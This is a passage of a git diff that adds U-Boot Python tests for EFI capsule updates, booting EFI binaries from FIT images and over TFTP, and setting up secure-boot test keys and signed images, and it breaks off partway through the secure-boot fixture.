+            # ensure that  EFI_FIRMWARE_IMAGE_TYPE_UBOOT_RAW_GUID is in the ESRT.
+            assert 'E2BB9C06-70E9-4B14-97A3-5A7913176E3F' in ''.join(output)
+
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % disk_img,
+                'fatls host 0:1 %s' % CAPSULE_INSTALL_DIR])
+            assert 'Test02' not in ''.join(output)
+
+            output = u_boot_console.run_command_list([
+                'sf probe 0:0',
+                'sf read 4000000 100000 10',
+                'md.b 4000000 10'])
+            assert 'u-boot:New' in ''.join(output)
diff --git a/roms/u-boot/test/py/tests/test_efi_capsule/uboot_bin_env.its b/roms/u-boot/test/py/tests/test_efi_capsule/uboot_bin_env.its
new file mode 100644
index 000000000..fc6590748
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_efi_capsule/uboot_bin_env.its
@@ -0,0 +1,36 @@
+/*
+ * Automatic software update for U-Boot
+ * Make sure the flashing addresses ('load' prop) is correct for your board!
+ */
+
+/dts-v1/;
+
+/ {
+	description = "Automatic U-Boot environment update";
+	#address-cells = <2>;
+
+	images {
+		u-boot-bin {
+			description = "U-Boot binary on SPI Flash";
+			data = /incbin/("BINFILE1");
+			compression = "none";
+			type = "firmware";
+			arch = "sandbox";
+			load = <0>;
+			hash-1 {
+				algo = "sha1";
+			};
+		};
+		u-boot-env {
+			description = "U-Boot environment on SPI Flash";
+			data = /incbin/("BINFILE2");
+			compression = "none";
+			type = "firmware";
+			arch = "sandbox";
+			load = <0>;
+			hash-1 {
+				algo = "sha1";
+			};
+		};
+	};
+};
diff --git a/roms/u-boot/test/py/tests/test_efi_fit.py b/roms/u-boot/test/py/tests/test_efi_fit.py
new file mode 100644
index 000000000..068a35a55
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_efi_fit.py
@@ -0,0 +1,458 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2019, Cristian Ciocaltea 
+#
+# Work based on:
+# - test_net.py
+# Copyright (c) 2016, NVIDIA CORPORATION. All rights reserved.
+# - test_fit.py
+# Copyright (c) 2013, Google Inc.
+#
+# Test launching UEFI binaries from FIT images.
+
+"""
+Note: This test relies on boardenv_* containing configuration values to define
+which network environment is available for testing. Without this, the parts
+that rely on network will be automatically skipped.
+
+For example:
+
+# Boolean indicating whether the Ethernet device is attached to USB, and hence
+# USB enumeration needs to be performed prior to network tests.
+# This variable may be omitted if its value is False.
+env__net_uses_usb = False
+
+# Boolean indicating whether the Ethernet device is attached to PCI, and hence
+# PCI enumeration needs to be performed prior to network tests.
+# This variable may be omitted if its value is False.
+env__net_uses_pci = True
+
+# True if a DHCP server is attached to the network, and should be tested.
+# If DHCP testing is not possible or desired, this variable may be omitted or
+# set to False.
+env__net_dhcp_server = True
+
+# A list of environment variables that should be set in order to configure a
+# static IP. If solely relying on DHCP, this variable may be omitted or set to
+# an empty list.
+env__net_static_env_vars = [
+    ('ipaddr', '10.0.0.100'),
+    ('netmask', '255.255.255.0'),
+    ('serverip', '10.0.0.1'),
+]
+
+# Details regarding a file that may be read from a TFTP server. This variable
+# may be omitted or set to None if TFTP testing is not possible or desired.
+# Additionally, when the 'size' is not available, the file will be generated
+# automatically in the TFTP root directory, as specified by the 'dn' field.
+env__efi_fit_tftp_file = {
+    'fn': 'test-efi-fit.img',   # File path relative to TFTP root
+    'size': 3831,               # File size
+    'crc32': '9fa3f79c',        # Checksum using CRC-32 algorithm, optional
+    'addr': 0x40400000,         # Loading address, integer, optional
+    'dn': 'tftp/root/dir',      # TFTP root directory path, optional
+}
+"""
+
+import os.path
+import pytest
+import u_boot_utils as util
+
+# Define the parametrized ITS data to be used for FIT images generation.
+ITS_DATA = '''
+/dts-v1/;
+
+/ {
+    description = "EFI image with FDT blob";
+    #address-cells = <1>;
+
+    images {
+        efi {
+            description = "Test EFI";
+            data = /incbin/("%(efi-bin)s");
+            type = "%(kernel-type)s";
+            arch = "%(sys-arch)s";
+            os = "efi";
+            compression = "%(efi-comp)s";
+            load = <0x0>;
+            entry = <0x0>;
+        };
+        fdt {
+            description = "Test FDT";
+            data = /incbin/("%(fdt-bin)s");
+            type = "flat_dt";
+            arch = "%(sys-arch)s";
+            compression = "%(fdt-comp)s";
+        };
+    };
+
+    configurations {
+        default = "config-efi-fdt";
+        config-efi-fdt {
+            description = "EFI FIT w/ FDT";
+            kernel = "efi";
+            fdt = "fdt";
+        };
+        config-efi-nofdt {
+            description = "EFI FIT w/o FDT";
+            kernel = "efi";
+        };
+    };
+};
+'''
+
+# Define the parametrized FDT data to be used for DTB images generation.
+FDT_DATA = '''
+/dts-v1/;
+
+/ {
+    #address-cells = <1>;
+    #size-cells = <1>;
+
+    model = "%(sys-arch)s %(fdt_type)s EFI FIT Boot Test";
+    compatible = "%(sys-arch)s";
+
+    reset@0 {
+        compatible = "%(sys-arch)s,reset";
+        reg = <0 4>;
+    };
+};
+'''
+
+@pytest.mark.buildconfigspec('bootm_efi')
+@pytest.mark.buildconfigspec('cmd_bootefi_hello_compile')
+@pytest.mark.buildconfigspec('fit')
+@pytest.mark.notbuildconfigspec('generate_acpi_table')
+@pytest.mark.requiredtool('dtc')
+def test_efi_fit_launch(u_boot_console):
+    """Test handling of UEFI binaries inside FIT images.
+
+    The tests are trying to launch U-Boot's helloworld.efi embedded into
+    FIT images, in uncompressed or gzip compressed format.
+
+    Additionally, a sample FDT blob is created and embedded into the above
+    mentioned FIT images, in uncompressed or gzip compressed format.
+
+    For more details, see launch_efi().
+
+    The following test cases are currently defined and enabled:
+     - Launch uncompressed FIT EFI & internal FDT
+     - Launch uncompressed FIT EFI & FIT FDT
+     - Launch compressed FIT EFI & internal FDT
+     - Launch compressed FIT EFI & FIT FDT
+    """
+
+    def net_pre_commands():
+        """Execute any commands required to enable network hardware.
+
+        These commands are provided by the boardenv_* file; see the comment
+        at the beginning of this file.
+        """
+
+        init_usb = cons.config.env.get('env__net_uses_usb', False)
+        if init_usb:
+            cons.run_command('usb start')
+
+        init_pci = cons.config.env.get('env__net_uses_pci', False)
+        if init_pci:
+            cons.run_command('pci enum')
+
+    def net_dhcp():
+        """Execute the dhcp command.
+
+        The boardenv_* file may be used to enable/disable DHCP; see the
+        comment at the beginning of this file.
+        """
+
+        has_dhcp = cons.config.buildconfig.get('config_cmd_dhcp', 'n') == 'y'
+        if not has_dhcp:
+            cons.log.warning('CONFIG_CMD_DHCP != y: Skipping DHCP network setup')
+            return False
+
+        test_dhcp = cons.config.env.get('env__net_dhcp_server', False)
+        if not test_dhcp:
+            cons.log.info('No DHCP server available')
+            return False
+
+        cons.run_command('setenv autoload no')
+        output = cons.run_command('dhcp')
+        assert 'DHCP client bound to address ' in output
+        return True
+
+    def net_setup_static():
+        """Set up a static IP configuration.
+
+        The configuration is provided by the boardenv_* file; see the comment at
+        the beginning of this file.
+        """
+
+        has_dhcp = cons.config.buildconfig.get('config_cmd_dhcp', 'n') == 'y'
+        if not has_dhcp:
+            cons.log.warning('CONFIG_NET != y: Skipping static network setup')
+            return False
+
+        env_vars = cons.config.env.get('env__net_static_env_vars', None)
+        if not env_vars:
+            cons.log.info('No static network configuration is defined')
+            return False
+
+        for (var, val) in env_vars:
+            cons.run_command('setenv %s %s' % (var, val))
+        return True
+
+    def make_fpath(file_name):
+        """Compute the path of a given (temporary) file.
+
+        Args:
+            file_name: The name of a file within U-Boot build dir.
+        Return:
+            The computed file path.
+        """
+
+        return os.path.join(cons.config.build_dir, file_name)
+
+    def make_efi(fname, comp):
+        """Create an UEFI binary.
+
+        This simply copies lib/efi_loader/helloworld.efi into U-Boot
+        build dir and, optionally, compresses the file using gzip.
+
+        Args:
+            fname: The target file name within U-Boot build dir.
+            comp: Flag to enable gzip compression.
+        Return:
+            The path of the created file.
+        """
+
+        bin_path = make_fpath(fname)
+        util.run_and_log(cons,
+                         ['cp', make_fpath('lib/efi_loader/helloworld.efi'),
+                          bin_path])
+        if comp:
+            util.run_and_log(cons, ['gzip', '-f', bin_path])
+            bin_path += '.gz'
+        return bin_path
+
+    def make_dtb(fdt_type, comp):
+        """Create a sample DTB file.
+
+        Creates a DTS file and compiles it to a DTB.
+
+        Args:
+            fdt_type: The type of the FDT, i.e. internal, user.
+            comp: Flag to enable gzip compression.
+        Return:
+            The path of the created file.
+        """
+
+        # Generate resources referenced by FDT.
+        fdt_params = {
+            'sys-arch': sys_arch,
+            'fdt_type': fdt_type,
+        }
+
+        # Generate a test FDT file.
+        dts = make_fpath('test-efi-fit-%s.dts' % fdt_type)
+        with open(dts, 'w') as file:
+            file.write(FDT_DATA % fdt_params)
+
+        # Build the test FDT.
+        dtb = make_fpath('test-efi-fit-%s.dtb' % fdt_type)
+        util.run_and_log(cons, ['dtc', '-I', 'dts', '-O', 'dtb', '-o', dtb, dts])
+        if comp:
+            util.run_and_log(cons, ['gzip', '-f', dtb])
+            dtb += '.gz'
+        return dtb
+
+    def make_fit(comp):
+        """Create a sample FIT image.
+
+        Runs 'mkimage' to create a FIT image within U-Boot build dir.
+        Args:
+            comp: Enable gzip compression for the EFI binary and FDT blob.
+        Return:
+            The path of the created file.
+        """
+
+        # Generate resources referenced by ITS.
+        its_params = {
+            'sys-arch': sys_arch,
+            'efi-bin': os.path.basename(make_efi('test-efi-fit-helloworld.efi', comp)),
+            'kernel-type': 'kernel' if comp else 'kernel_noload',
+            'efi-comp': 'gzip' if comp else 'none',
+            'fdt-bin': os.path.basename(make_dtb('user', comp)),
+            'fdt-comp': 'gzip' if comp else 'none',
+        }
+
+        # Generate a test ITS file.
+        its_path = make_fpath('test-efi-fit-helloworld.its')
+        with open(its_path, 'w') as file:
+            file.write(ITS_DATA % its_params)
+
+        # Build the test ITS.
+        fit_path = make_fpath('test-efi-fit-helloworld.fit')
+        util.run_and_log(
+            cons, [make_fpath('tools/mkimage'), '-f', its_path, fit_path])
+        return fit_path
+
+    def load_fit_from_host(fit):
+        """Load the FIT image using the 'host load' command and return its address.
+
+        Args:
+            fit: Dictionary describing the FIT image to load, see env__efi_fit_test_file
+                 in the comment at the beginning of this file.
+        Return:
+            The address where the file has been loaded.
+        """
+
+        addr = fit.get('addr', None)
+        if not addr:
+            addr = util.find_ram_base(cons)
+
+        output = cons.run_command(
+            'host load hostfs - %x %s/%s' % (addr, fit['dn'], fit['fn']))
+        expected_text = ' bytes read'
+        size = fit.get('size', None)
+        if size:
+            expected_text = '%d' % size + expected_text
+        assert expected_text in output
+
+        return addr
+
+    def load_fit_from_tftp(fit):
+        """Load the FIT image using the tftpboot command and return its address.
+
+        The file is downloaded from the TFTP server, its size and optionally its
+        CRC32 are validated.
+
+        Args:
+            fit: Dictionary describing the FIT image to load, see env__efi_fit_tftp_file
+                 in the comment at the beginning of this file.
+        Return:
+            The address where the file has been loaded.
+        """
+
+        addr = fit.get('addr', None)
+        if not addr:
+            addr = util.find_ram_base(cons)
+
+        file_name = fit['fn']
+        output = cons.run_command('tftpboot %x %s' % (addr, file_name))
+        expected_text = 'Bytes transferred = '
+        size = fit.get('size', None)
+        if size:
+            expected_text += '%d' % size
+        assert expected_text in output
+
+        expected_crc = fit.get('crc32', None)
+        if not expected_crc:
+            return addr
+
+        if cons.config.buildconfig.get('config_cmd_crc32', 'n') != 'y':
+            return addr
+
+        output = cons.run_command('crc32 $fileaddr $filesize')
+        assert expected_crc in output
+
+        return addr
+
+    def launch_efi(enable_fdt, enable_comp):
+        """Launch U-Boot's helloworld.efi binary from a FIT image.
+
+        An external image file can be downloaded from TFTP, when related
+        details are provided by the boardenv_* file; see the comment at the
+        beginning of this file.
+
+        If the size of the TFTP file is not provided within env__efi_fit_tftp_file,
+        the test image is generated automatically and placed in the TFTP root
+        directory specified via the 'dn' field.
+
+        When running the tests on Sandbox, the image file is loaded directly
+        from the host filesystem.
+
+        Once the load address is available on U-Boot console, the 'bootm'
+        command is executed for either 'config-efi-fdt' or 'config-efi-nofdt'
+        FIT configuration, depending on the value of the 'enable_fdt' function
+        argument.
+
+        Eventually the 'Hello, world' message is expected in the U-Boot console.
+
+        Args:
+            enable_fdt: Flag to enable using the FDT blob inside FIT image.
+            enable_comp: Flag to enable GZIP compression on EFI and FDT
+                generated content.
+        """
+
+        with cons.log.section('FDT=%s;COMP=%s' % (enable_fdt, enable_comp)):
+            if is_sandbox:
+                fit = {
+                    'dn': cons.config.build_dir,
+                }
+            else:
+                # Init networking.
+                net_pre_commands()
+                net_set_up = net_dhcp()
+                net_set_up = net_setup_static() or net_set_up
+                if not net_set_up:
+                    pytest.skip('Network not initialized')
+
+                fit = cons.config.env.get('env__efi_fit_tftp_file', None)
+                if not fit:
+                    pytest.skip('No env__efi_fit_tftp_file binary specified in environment')
+
+            size = fit.get('size', None)
+            if not size:
+                if not fit.get('dn', None):
+                    pytest.skip('Neither "size", nor "dn" info provided in env__efi_fit_tftp_file')
+
+                # Create test FIT image.
+                fit_path = make_fit(enable_comp)
+                fit['fn'] = os.path.basename(fit_path)
+                fit['size'] = os.path.getsize(fit_path)
+
+                # Copy image to TFTP root directory.
+                if fit['dn'] != cons.config.build_dir:
+                    util.run_and_log(cons, ['mv', '-f', fit_path, '%s/' % fit['dn']])
+
+            # Load FIT image.
+            addr = load_fit_from_host(fit) if is_sandbox else load_fit_from_tftp(fit)
+
+            # Select boot configuration.
+            fit_config = 'config-efi-fdt' if enable_fdt else 'config-efi-nofdt'
+
+            # Try booting.
+            output = cons.run_command('bootm %x#%s' % (addr, fit_config))
+            if enable_fdt:
+                assert 'Booting using the fdt blob' in output
+            assert 'Hello, world' in output
+            assert '## Application failed' not in output
+            cons.restart_uboot()
+
+    cons = u_boot_console
+    # Array slice removes leading/trailing quotes.
+    sys_arch = cons.config.buildconfig.get('config_sys_arch', '"sandbox"')[1:-1]
+    is_sandbox = sys_arch == 'sandbox'
+
+    try:
+        if is_sandbox:
+            # Use our own device tree file, will be restored afterwards.
+            control_dtb = make_dtb('internal', False)
+            old_dtb = cons.config.dtb
+            cons.config.dtb = control_dtb
+
+        # Run tests
+        # - fdt OFF, gzip OFF
+        launch_efi(False, False)
+        # - fdt ON, gzip OFF
+        launch_efi(True, False)
+
+        if is_sandbox:
+            # - fdt OFF, gzip ON
+            launch_efi(False, True)
+            # - fdt ON, gzip ON
+            launch_efi(True, True)
+
+    finally:
+        if is_sandbox:
+            # Go back to the original U-Boot with the correct dtb.
+            cons.config.dtb = old_dtb
+            cons.restart_uboot()
diff --git a/roms/u-boot/test/py/tests/test_efi_loader.py b/roms/u-boot/test/py/tests/test_efi_loader.py
new file mode 100644
index 000000000..fc8d6b865
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_efi_loader.py
@@ -0,0 +1,204 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2016, NVIDIA CORPORATION. All rights reserved.
+# Copyright (c) 2016, Alexander Graf 
+#
+# based on test_net.py.
+
+# Test efi loader implementation
+
+import pytest
+import u_boot_utils
+
+"""
+Note: This test relies on boardenv_* containing configuration values to define
+which network environment is available for testing. Without this, the parts
+that rely on network will be automatically skipped.
+
+For example:
+
+# Boolean indicating whether the Ethernet device is attached to USB, and hence
+# USB enumeration needs to be performed prior to network tests.
+# This variable may be omitted if its value is False.
+env__net_uses_usb = False
+
+# Boolean indicating whether the Ethernet device is attached to PCI, and hence
+# PCI enumeration needs to be performed prior to network tests.
+# This variable may be omitted if its value is False.
+env__net_uses_pci = True
+
+# True if a DHCP server is attached to the network, and should be tested.
+# If DHCP testing is not possible or desired, this variable may be omitted or
+# set to False.
+env__net_dhcp_server = True
+
+# A list of environment variables that should be set in order to configure a
+# static IP. If solely relying on DHCP, this variable may be omitted or set to
+# an empty list.
+env__net_static_env_vars = [
+    ('ipaddr', '10.0.0.100'),
+    ('netmask', '255.255.255.0'),
+    ('serverip', '10.0.0.1'),
+]
+
+# Details regarding a file that may be read from a TFTP server. This variable
+# may be omitted or set to None if TFTP testing is not possible or desired.
+env__efi_loader_helloworld_file = {
+    'fn': 'lib/efi_loader/helloworld.efi', # file name
+    'size': 5058624,                       # file length in bytes
+    'crc32': 'c2244b26',                   # CRC32 check sum
+    'addr': 0x40400000,                    # load address
+}
+"""
+
+net_set_up = False
+
+def test_efi_pre_commands(u_boot_console):
+    """Execute any commands required to enable network hardware.
+
+    These commands are provided by the boardenv_* file; see the comment at the
+    beginning of this file.
+    """
+
+    init_usb = u_boot_console.config.env.get('env__net_uses_usb', False)
+    if init_usb:
+        u_boot_console.run_command('usb start')
+
+    init_pci = u_boot_console.config.env.get('env__net_uses_pci', False)
+    if init_pci:
+        u_boot_console.run_command('pci enum')
+
+@pytest.mark.buildconfigspec('cmd_dhcp')
+def test_efi_setup_dhcp(u_boot_console):
+    """Set up the network using DHCP.
+
+    The boardenv_* file may be used to enable/disable this test; see the
+    comment at the beginning of this file.
+    """
+
+    test_dhcp = u_boot_console.config.env.get('env__net_dhcp_server', False)
+    if not test_dhcp:
+        env_vars = u_boot_console.config.env.get('env__net_static_env_vars', None)
+        if not env_vars:
+            pytest.skip('No DHCP server available')
+        return None
+
+    u_boot_console.run_command('setenv autoload no')
+    output = u_boot_console.run_command('dhcp')
+    assert 'DHCP client bound to address ' in output
+
+    global net_set_up
+    net_set_up = True
+
+@pytest.mark.buildconfigspec('net')
+def test_efi_setup_static(u_boot_console):
+    """Set up the network using a static IP configuration.
+
+    The configuration is provided by the boardenv_* file; see the comment at
+    the beginning of this file.
+    """
+
+    env_vars = u_boot_console.config.env.get('env__net_static_env_vars', None)
+    if not env_vars:
+        test_dhcp = u_boot_console.config.env.get('env__net_dhcp_server', False)
+        if not test_dhcp:
+            pytest.skip('No static network configuration is defined')
+        return None
+
+    for (var, val) in env_vars:
+        u_boot_console.run_command('setenv %s %s' % (var, val))
+
+    global net_set_up
+    net_set_up = True
+
+def fetch_tftp_file(u_boot_console, env_conf):
+    """Grab an env described file via TFTP and return its address
+
+    A file as described by an env config  is downloaded from the TFTP
+    server. The address to that file is returned.
+    """
+    if not net_set_up:
+        pytest.skip('Network not initialized')
+
+    f = u_boot_console.config.env.get(env_conf, None)
+    if not f:
+        pytest.skip('No %s binary specified in environment' % env_conf)
+
+    addr = f.get('addr', None)
+    if not addr:
+        addr = u_boot_utils.find_ram_base(u_boot_console)
+
+    fn = f['fn']
+    output = u_boot_console.run_command('tftpboot %x %s' % (addr, fn))
+    expected_text = 'Bytes transferred = '
+    sz = f.get('size', None)
+    if sz:
+        expected_text += '%d' % sz
+    assert expected_text in output
+
+    expected_crc = f.get('crc32', None)
+    if not expected_crc:
+        return addr
+
+    if u_boot_console.config.buildconfig.get('config_cmd_crc32', 'n') != 'y':
+        return addr
+
+    output = u_boot_console.run_command('crc32 %x $filesize' % addr)
+    assert expected_crc in output
+
+    return addr
+
+@pytest.mark.buildconfigspec('of_control')
+@pytest.mark.buildconfigspec('cmd_bootefi_hello_compile')
+def test_efi_helloworld_net(u_boot_console):
+    """Run the helloworld.efi binary via TFTP.
+
+    The helloworld.efi file is downloaded from the TFTP server and is executed
+    using the fallback device tree at $fdtcontroladdr.
+    """
+
+    addr = fetch_tftp_file(u_boot_console, 'env__efi_loader_helloworld_file')
+
+    output = u_boot_console.run_command('bootefi %x' % addr)
+    expected_text = 'Hello, world'
+    assert expected_text in output
+    expected_text = '## Application failed'
+    assert expected_text not in output
+
+@pytest.mark.buildconfigspec('cmd_bootefi_hello')
+def test_efi_helloworld_builtin(u_boot_console):
+    """Run the builtin helloworld.efi binary.
+
+    The helloworld.efi file is included in U-Boot, execute it using the
+    special "bootefi hello" command.
+    """
+
+    output = u_boot_console.run_command('bootefi hello')
+    expected_text = 'Hello, world'
+    assert expected_text in output
+
+@pytest.mark.buildconfigspec('of_control')
+@pytest.mark.buildconfigspec('cmd_bootefi')
+def test_efi_grub_net(u_boot_console):
+    """Run the grub.efi binary via TFTP.
+
+    The grub.efi file is downloaded from the TFTP server and gets
+    executed.
+    """
+
+    addr = fetch_tftp_file(u_boot_console, 'env__efi_loader_grub_file')
+
+    u_boot_console.run_command('bootefi %x' % addr, wait_for_prompt=False)
+
+    # Verify that we have an SMBIOS table
+    check_smbios = u_boot_console.config.env.get('env__efi_loader_check_smbios', False)
+    if check_smbios:
+        u_boot_console.wait_for('grub>')
+        output = u_boot_console.run_command('lsefisystab', wait_for_prompt=False, wait_for_echo=False)
+        u_boot_console.wait_for('SMBIOS')
+
+    # Then exit cleanly
+    u_boot_console.wait_for('grub>')
+    u_boot_console.run_command('exit', wait_for_prompt=False, wait_for_echo=False)
+    u_boot_console.wait_for(u_boot_console.prompt)
+    # And give us our U-Boot prompt back
+    u_boot_console.run_command('')
diff --git a/roms/u-boot/test/py/tests/test_efi_secboot/conftest.py b/roms/u-boot/test/py/tests/test_efi_secboot/conftest.py
new file mode 100644
index 000000000..69a498ca0
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_efi_secboot/conftest.py
@@ -0,0 +1,239 @@
+# SPDX-License-Identifier:      GPL-2.0+
+# Copyright (c) 2019, Linaro Limited
+# Author: AKASHI Takahiro 
+
+import os
+import os.path
+from subprocess import call, check_call, check_output, CalledProcessError
+import pytest
+from defs import *
+
+
+#
+# Fixture for UEFI secure boot test
+#
+
+
+@pytest.fixture(scope='session')
+def efi_boot_env(request, u_boot_config):
+    """Set up a file system to be used in UEFI secure boot test.
+
+    Args:
+        request: Pytest request object.
+        u_boot_config: U-boot configuration.
+
+    Return:
+        A path to disk image to be used for testing
+    """
+    image_path = u_boot_config.persistent_data_dir
+    image_path = image_path + '/test_efi_secboot.img'
+
+    try:
+        mnt_point = u_boot_config.build_dir + '/mnt_efisecure'
+        check_call('rm -rf {}'.format(mnt_point), shell=True)
+        check_call('mkdir -p {}'.format(mnt_point), shell=True)
+
+        # suffix
+        # *.key: RSA private key in PEM
+        # *.crt: X509 certificate (self-signed) in PEM
+        # *.esl: signature list
+        # *.hash: message digest of image as signature list
+        # *.auth: signed signature list in signature database format
+        # *.efi: UEFI image
+        # *.efi.signed: signed UEFI image
+
+        # Create signature database
+        # PK
+        check_call('cd %s; openssl req -x509 -sha256 -newkey rsa:2048 -subj /CN=TEST_PK/ -keyout PK.key -out PK.crt -nodes -days 365'
+                   % mnt_point, shell=True)
+        check_call('cd %s; %scert-to-efi-sig-list -g %s PK.crt PK.esl; %ssign-efi-sig-list -t "2020-04-01" -c PK.crt -k PK.key PK PK.esl PK.auth'
+                   % (mnt_point, EFITOOLS_PATH, GUID, EFITOOLS_PATH),
+                   shell=True)
+        # PK_null for deletion
+        check_call('cd %s; touch PK_null.esl; %ssign-efi-sig-list -t "2020-04-02" -c PK.crt -k PK.key PK PK_null.esl PK_null.auth'
+                   % (mnt_point, EFITOOLS_PATH), shell=True)
+        # KEK
+        check_call('cd %s; openssl req -x509 -sha256 -newkey rsa:2048 -subj /CN=TEST_KEK/ -keyout KEK.key -out KEK.crt -nodes -days 365'
+                   % mnt_point, shell=True)
+        check_call('cd %s; %scert-to-efi-sig-list -g %s KEK.crt KEK.esl; %ssign-efi-sig-list -t "2020-04-03" -c PK.crt -k PK.key KEK KEK.esl KEK.auth'
+                   % (mnt_point, EFITOOLS_PATH, GUID, EFITOOLS_PATH),
+                   shell=True)
+        # db
+        check_call('cd %s; openssl req -x509 -sha256 -newkey rsa:2048 -subj /CN=TEST_db/ -keyout db.key -out db.crt -nodes -days 365'
+                   % mnt_point, shell=True)
+        check_call('cd %s; %scert-to-efi-sig-list -g %s db.crt db.esl; %ssign-efi-sig-list -t "2020-04-04" -c KEK.crt -k KEK.key db db.esl db.auth'
+                   % (mnt_point, EFITOOLS_PATH, GUID, EFITOOLS_PATH),
+                   shell=True)
+        # db1
+        check_call('cd %s; openssl req -x509 -sha256 -newkey rsa:2048 -subj /CN=TEST_db1/ -keyout db1.key -out db1.crt -nodes -days 365'
+                   % mnt_point, shell=True)
+        check_call('cd %s; %scert-to-efi-sig-list -g %s db1.crt db1.esl; %ssign-efi-sig-list -t "2020-04-05" -c KEK.crt -k KEK.key db db1.esl db1.auth'
+                   % (mnt_point, EFITOOLS_PATH, GUID, EFITOOLS_PATH),
+                   shell=True)
+        # dbx (TEST_dbx certificate)
+        check_call('cd %s; openssl req -x509 -sha256 -newkey rsa:2048 -subj /CN=TEST_dbx/ -keyout dbx.key -out dbx.crt -nodes -days 365'
+                   % mnt_point, shell=True)
+        check_call('cd %s; %scert-to-efi-sig-list -g %s dbx.crt dbx.esl; %ssign-efi-sig-list -t "2020-04-05" -c KEK.crt -k KEK.key dbx dbx.esl dbx.auth'
+                   % (mnt_point, EFITOOLS_PATH, GUID, EFITOOLS_PATH),
+                   shell=True)
+        # dbx_hash (digest of TEST_db certificate)
+        check_call('cd %s; %scert-to-efi-hash-list -g %s -t 0 -s 256 db.crt dbx_hash.crl; %ssign-efi-sig-list -t "2020-04-05" -c KEK.crt -k KEK.key dbx dbx_hash.crl dbx_hash.auth'
+                   % (mnt_point, EFITOOLS_PATH, GUID, EFITOOLS_PATH),
+                   shell=True)
+        # dbx_hash1 (digest of TEST_db1 certificate)
+        check_call('cd %s; %scert-to-efi-hash-list -g %s -t 0 -s 256 db1.crt dbx_hash1.crl; %ssign-efi-sig-list -t "2020-04-06" -c KEK.crt -k KEK.key dbx dbx_hash1.crl dbx_hash1.auth'
+                   % (mnt_point, EFITOOLS_PATH, GUID, EFITOOLS_PATH),
+                   shell=True)
+        # dbx_db (with TEST_db certificate)
+        check_call('cd %s; %ssign-efi-sig-list -t "2020-04-05" -c KEK.crt -k KEK.key dbx db.esl dbx_db.auth'
+                   % (mnt_point, EFITOOLS_PATH),
+                   shell=True)
+
+        # Copy image
+        check_call('cp %s/lib/efi_loader/helloworld.efi %s' %
+                   (u_boot_config.build_dir, mnt_point), shell=True)
+
+        # Sign image
+        check_call('cd %s; sbsign --key db.key --cert db.crt helloworld.efi'
+                   % mnt_point, shell=True)
+        # Sign already-signed image with another key
+        check_call('cd %s; sbsign --key db1.key --cert db1.crt --output helloworld.efi.signed_2sigs helloworld.efi.signed'
+                   % mnt_point, shell=True)
+        # Digest image
+        check_call('cd %s; %shash-to-efi-sig-list helloworld.efi db_hello.hash; %ssign-efi-sig-list -t "2020-04-07" -c KEK.crt -k KEK.key db db_hello.hash db_hello.auth'
+                   % (mnt_point, EFITOOLS_PATH, EFITOOLS_PATH),
+                   shell=True)
+        check_call('cd %s; %shash-to-efi-sig-list helloworld.efi.signed db_hello_signed.hash; %ssign-efi-sig-list -t "2020-04-03" -c KEK.crt -k KEK.key db db_hello_signed.hash db_hello_signed.auth'
+                   % (mnt_point, EFITOOLS_PATH, EFITOOLS_PATH),
+                   shell=True)
+        check_call('cd %s; %ssign-efi-sig-list -t "2020-04-07" -c KEK.crt -k KEK.key dbx db_hello_signed.hash dbx_hello_signed.auth'
+                   % (mnt_point, EFITOOLS_PATH),
+                   shell=True)
+
+        check_call('virt-make-fs --partition=gpt --size=+1M --type=vfat {} {}'.format(
+            mnt_point, image_path), shell=True)
+        check_call('rm -rf {}'.format(mnt_point), shell=True)
+
+    except CalledProcessError as exception:
+        pytest.skip('Setup failed: %s' % exception.cmd)
+        return
+    else:
+        yield image_path
+    finally:
+        call('rm -f %s' % image_path, shell=True)
+
+#
+# Fixture for UEFI secure boot test of intermediate certificates
+#
+
+
+@pytest.fixture(scope='session')
+def efi_boot_env_intca(request, u_boot_config):
+    """Set up a file system to be used in UEFI secure boot test
+    of intermediate certificates.
+
+    Args:
+        request: Pytest request object.
+        u_boot_config: U-boot configuration.
+
+    Return:
+        A path to disk image to be used for testing
+    """
+    image_path = u_boot_config.persistent_data_dir
+    image_path = image_path + '/test_efi_secboot_intca.img'
+
+    try:
+        mnt_point = u_boot_config.persistent_data_dir + '/mnt_efi_secboot_intca'
+        check_call('rm -rf {}'.format(mnt_point), shell=True)
+        check_call('mkdir -p {}'.format(mnt_point), shell=True)
+
+        # Create signature database
+        # PK
+        check_call('cd %s; openssl req -x509 -sha256 -newkey rsa:2048 -subj /CN=TEST_PK/ -keyout PK.key -out PK.crt -nodes -days 365'
+                   % mnt_point, shell=True)
+        check_call('cd %s; %scert-to-efi-sig-list -g %s PK.crt PK.esl; %ssign-efi-sig-list -c PK.crt -k PK.key PK PK.esl PK.auth'
+                   % (mnt_point, EFITOOLS_PATH, GUID, EFITOOLS_PATH),
+                   shell=True)
+        # KEK
+        check_call('cd %s; openssl req -x509 -sha256 -newkey rsa:2048 -subj /CN=TEST_KEK/ -keyout KEK.key -out KEK.crt -nodes -days 365'
+                   % mnt_point, shell=True)
+        check_call('cd %s; %scert-to-efi-sig-list -g %s KEK.crt KEK.esl; %ssign-efi-sig-list -c PK.crt -k PK.key KEK KEK.esl KEK.auth'
+                   % (mnt_point, EFITOOLS_PATH, GUID, EFITOOLS_PATH),
+                   shell=True)
+
+        # We will have three-tier hierarchy of certificates:
+        #   TestRoot: Root CA (self-signed)
+        #   TestSub: Intermediate CA (signed by Root CA)
+        #   TestCert: User certificate (signed by Intermediate CA, and used
+        #             for signing an image)
+        #
+        # NOTE:
+        # I consulted the following EDK2 document for certificate options:
+        #     BaseTools/Source/Python/Pkcs7Sign/Readme.md
+        # Please not use them as they are in product system. They are
+        # for test purpose only.
+
+        # TestRoot
+        check_call('cp %s/test/py/tests/test_efi_secboot/openssl.cnf %s'
+                   % (u_boot_config.source_dir, mnt_point), shell=True)
+        check_call('cd %s; export OPENSSL_CONF=./openssl.cnf; openssl genrsa -out TestRoot.key 2048; openssl req -extensions v3_ca -new -x509 -days 365 -key TestRoot.key -out TestRoot.crt -subj "/CN=TEST_root/"; touch index.txt; touch index.txt.attr'
+                   % mnt_point, shell=True)
+        # TestSub
